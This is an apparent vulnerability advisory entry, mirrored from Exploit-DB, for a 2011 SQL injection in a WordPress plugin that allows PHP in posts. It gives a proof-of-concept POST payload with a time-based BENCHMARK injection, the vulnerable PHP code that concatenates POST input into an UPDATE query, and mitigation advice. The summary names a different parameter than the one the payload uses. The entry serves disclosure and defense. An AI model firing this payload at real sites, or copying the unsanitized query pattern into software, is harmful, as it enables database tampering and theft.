WordPress Allow PHP in Posts and Pages plugin

vendor:

Allow PHP in Posts and Pages plugin

by:

Miroslav Stampar

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: Allow PHP in Posts and Pages plugin

Affected Version From: <= 2.0.0.RC1

Affected Version To:

Patch Exists: YES

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: WordPress

2011

WordPress Allow PHP in Posts and Pages plugin <= 2.0.0.RC1 SQL Injection Vulnerability

The vulnerability allows an attacker to perform SQL injection by manipulating the 'function' parameter in a POST request to the 'alter.php' file. By injecting malicious SQL code, an attacker can modify or delete data in the database.

Mitigation:

Update to the latest version of the plugin or disable it if not needed. Sanitize user input before using it in SQL queries.

Source

Exploit-DB raw data:

# Exploit Title: WordPress Allow PHP in Posts and Pages plugin <= 2.0.0.RC1 SQL Injection Vulnerability
# Date: 2011-08-18
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/allow-php-in-posts-and-pages.zip
# Version: 2.0.0.RC1 (tested)

---------------
PoC (POST data)
---------------
http://www.site.com/wp-content/plugins/allow-php-in-posts-and-pages/alter.php
 allowPHPNonce=-1&action=modify&function=-1&id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)

---------------
Vulnerable code
---------------
    if(!isset($_POST['allowPHPNonce'])){
        if ( !wp_verify_nonce( $_POST['allowPHPNonce'], plugin_basename(__FILE__) )) {header("location:".$refer);}
    }
    else{
        if(!isset($_POST['action']) || !defined ('ABSPATH')){header("location:".$refer);}
        if(isset($_POST['id'])){$id = $_POST['id'];}else{$id='0';}
        if(isset($_POST['function'])){$function = $_POST['function'];}else{$function="";}
        if(isset($_POST['name'])){$name = $_POST['name'];}else{$name="";}
        $action = $_POST['action'];

		#delete
        if($action == "delete"){

        ...

        elseif($action == "modify" && $function != ""){
            $sql = "update ".$wpdb->prefix."allowPHP_functions set function='".$function."', name='".$name."' where id = ".$id;
            $results = $wpdb->get_results($wpdb->prepare($sql));